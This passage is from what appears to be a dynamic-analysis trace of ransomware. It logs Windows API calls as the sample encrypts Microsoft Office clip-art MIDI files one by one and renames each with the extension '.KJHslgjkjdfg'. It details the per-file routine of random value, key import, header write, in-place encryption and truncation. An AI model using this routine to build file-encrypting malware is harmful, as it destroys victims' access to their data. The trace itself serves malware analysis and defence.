lpOverlapped=0x0) returned 1 [0186.285] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.285] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.285] SetEndOfFile (hFile=0x114) returned 1 [0186.288] GetProcessHeap () returned 0x2a0000 [0186.288] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.288] GetProcessHeap () returned 0x2a0000 [0186.288] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.288] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.kjhslgjkjdfg")) returned 1 [0186.290] CloseHandle (hObject=0x114) returned 1 [0186.290] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_06.MID", cAlternateFileName="")) returned 1 [0186.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.367] GetProcessHeap () returned 0x2a0000 [0186.367] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.367] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.367] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.367] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.370] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.370] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.370] GetProcessHeap () returned 0x2a0000 [0186.370] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.370] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.370] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.370] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.370] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.370] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.370] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.370] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.370] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.370] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.370] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.370] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.371] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1e58, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1e58, lpOverlapped=0x0) returned 1 [0186.371] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1e60) returned 1 [0186.372] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.372] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1e60, lpOverlapped=0x0) returned 1 [0186.372] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.372] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.372] SetEndOfFile (hFile=0x114) returned 1 [0186.374] GetProcessHeap () returned 0x2a0000 [0186.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.374] GetProcessHeap () returned 0x2a0000 [0186.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.375] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.kjhslgjkjdfg")) returned 1 [0186.376] CloseHandle (hObject=0x114) returned 1 [0186.376] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_07.MID", cAlternateFileName="")) returned 1 [0186.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.380] GetProcessHeap () returned 0x2a0000 [0186.380] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.381] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.381] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.381] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.383] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.383] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.383] GetProcessHeap () returned 0x2a0000 [0186.383] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.383] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.383] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.383] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.383] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.383] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.383] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.383] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.383] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.383] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.383] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.383] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.383] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x19a4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x19a4, lpOverlapped=0x0) returned 1 [0186.384] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19b0, dwBufLen=0x19b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19b0) returned 1 [0186.385] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.385] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x19b0, lpOverlapped=0x0) returned 1 [0186.385] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.385] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.385] SetEndOfFile (hFile=0x114) returned 1 [0186.387] GetProcessHeap () returned 0x2a0000 [0186.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.387] GetProcessHeap () returned 0x2a0000 [0186.387] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.kjhslgjkjdfg")) returned 1 [0186.389] CloseHandle (hObject=0x114) returned 1 [0186.389] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_08.MID", cAlternateFileName="")) returned 1 [0186.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.390] GetProcessHeap () returned 0x2a0000 [0186.390] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.390] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.390] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.390] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xd, lpOverlapped=0x0) returned 1 [0186.392] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.392] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.392] GetProcessHeap () returned 0x2a0000 [0186.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.393] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.393] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.393] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.393] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.393] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.393] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.393] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.393] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.393] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.393] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.393] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1cb3, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1cb3, lpOverlapped=0x0) returned 1 [0186.394] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1cc0, dwBufLen=0x1cc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1cc0) returned 1 [0186.394] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.394] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1cc0, lpOverlapped=0x0) returned 1 [0186.395] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.395] SetEndOfFile (hFile=0x114) returned 1 [0186.397] GetProcessHeap () returned 0x2a0000 [0186.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.397] GetProcessHeap () returned 0x2a0000 [0186.397] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.397] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.kjhslgjkjdfg")) returned 1 [0186.399] CloseHandle (hObject=0x114) returned 1 [0186.399] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_09.MID", cAlternateFileName="")) returned 1 [0186.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.400] GetProcessHeap () returned 0x2a0000 [0186.400] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.400] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.400] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.400] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.403] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.403] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.403] GetProcessHeap () returned 0x2a0000 [0186.403] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.403] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.403] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.403] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.403] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.404] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.404] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.404] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.404] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.404] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.404] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.404] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.404] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a6c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a6c, lpOverlapped=0x0) returned 1 [0186.405] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a70, dwBufLen=0x1a70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a70) returned 1 [0186.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.405] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a70, lpOverlapped=0x0) returned 1 [0186.405] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.405] SetEndOfFile (hFile=0x114) returned 1 [0186.408] GetProcessHeap () returned 0x2a0000 [0186.408] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.408] GetProcessHeap () returned 0x2a0000 [0186.408] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.kjhslgjkjdfg")) returned 1 [0186.410] CloseHandle (hObject=0x114) returned 1 [0186.410] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, 